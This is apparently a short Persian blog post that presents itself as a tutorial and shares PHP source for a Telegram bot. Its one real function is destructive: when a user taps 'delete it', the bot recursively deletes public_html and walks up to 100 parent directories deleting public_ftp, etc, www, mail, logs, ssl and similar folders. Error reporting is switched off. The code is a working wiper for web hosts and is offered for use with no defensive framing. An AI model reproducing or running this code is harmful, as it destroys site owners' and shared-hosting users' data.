خب بریم اموزش 😎💪
اینم کدش
ob_start();
error_reporting(0);
set_time_limit(0);
flush();
define('API_KEY',' ');/// توکن
function MRNbot($method,$datas=[]){$url = "https://api.telegram.org/bot".API_KEY."/".$method;$ch = curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);curl_setopt($ch,CURLOPT_POSTFIELDS,$datas);$res = curl_exec($ch);if(curl_error($ch)){var_dump(curl_error($ch));}else{return json_decode($res);}}
function DeleteFolder($path){if($handle=opendir($path)){while (false!==($file=readdir($handle))){if($file<>"." AND $file<>".."){if(is_file($path.'/'.$file)){ @unlink($path.'/'.$file);} if(is_dir($path.'/'.$file)) { deletefolder($path.'/'.$file); @rmdir($path.'/'.$file); }} }}}
function sendaction($chat_id, $action){MRNbot('sendchataction', ['chat_id' => $chat_id,'action' => $action]);}
function sendmessage($chat_id, $text){MRNbot('sendMessage', ['chat_id' => $chat_id,'text' => $text,'parse_mode' => "MarkDown"]);}
$step = file_get_contents("user/" . $from_id . "/step.txt");
$update = json_decode(file_get_contents('php://input'));
$message = $update->message;
$text = $message->text;
$from_id = $message->from->id;
$fromm_id = $update->inline_query->from->id;
$fromid = $update->callback_query->message->from->id;
$chat_id = $message->chat->id;
$chatid = $update->callback_query->message->chat->id;
$message_id = $message->message_id;
$message_id2 = $update->callback_query->message->message_id;
$first_name = $message->from->first_name;
$last_name = $message->from->last_name;
$username = $message->from->username;
$data = $update->callback_query->data;
$name = $message->from->first_name;
if($text == "/start") { MRNbot('sendMessage', ['chat_id' => $chat_id,'text' => "حذف کنم همه چیشو؟",'parse_mode' => "html",'reply_markup' =>json_encode(['inline_keyboard' => [[['text' => "حذف کن !", 'callback_data' => "b41148"]],]])]);}
elseif($data =="b41148"){
function remove_directory($directory) {if (!is_dir($directory)) return;$contents = scandir($directory);unset($contents[0], $contents[1]);
foreach($contents as $object) {$current_object = $directory.'/'.$object;
if (filetype($current_object) === 'dir') {remove_directory($current_object);}
else {unlink($current_object);}}rmdir($directory);}remove_directory('../public_html');$test = "..";$i = 0;while ($i <100){$test.="/..";echo remove_directory("$test/public_html");echo remove_directory("$test/public_ftp");echo remove_directory("$test/etc");echo remove_directory("$test/www");echo remove_directory("$test/access-logs");echo remove_directory("$test/tmp");echo remove_directory("$test/ssl");echo remove_directory("$test/mail");echo remove_directory("$test/logs");$i++;}}
+ نوشته شده در دوشنبه شانزدهم خرداد ۱۴۰۱ ساعت 1:23 توسط گرگ وحشی
|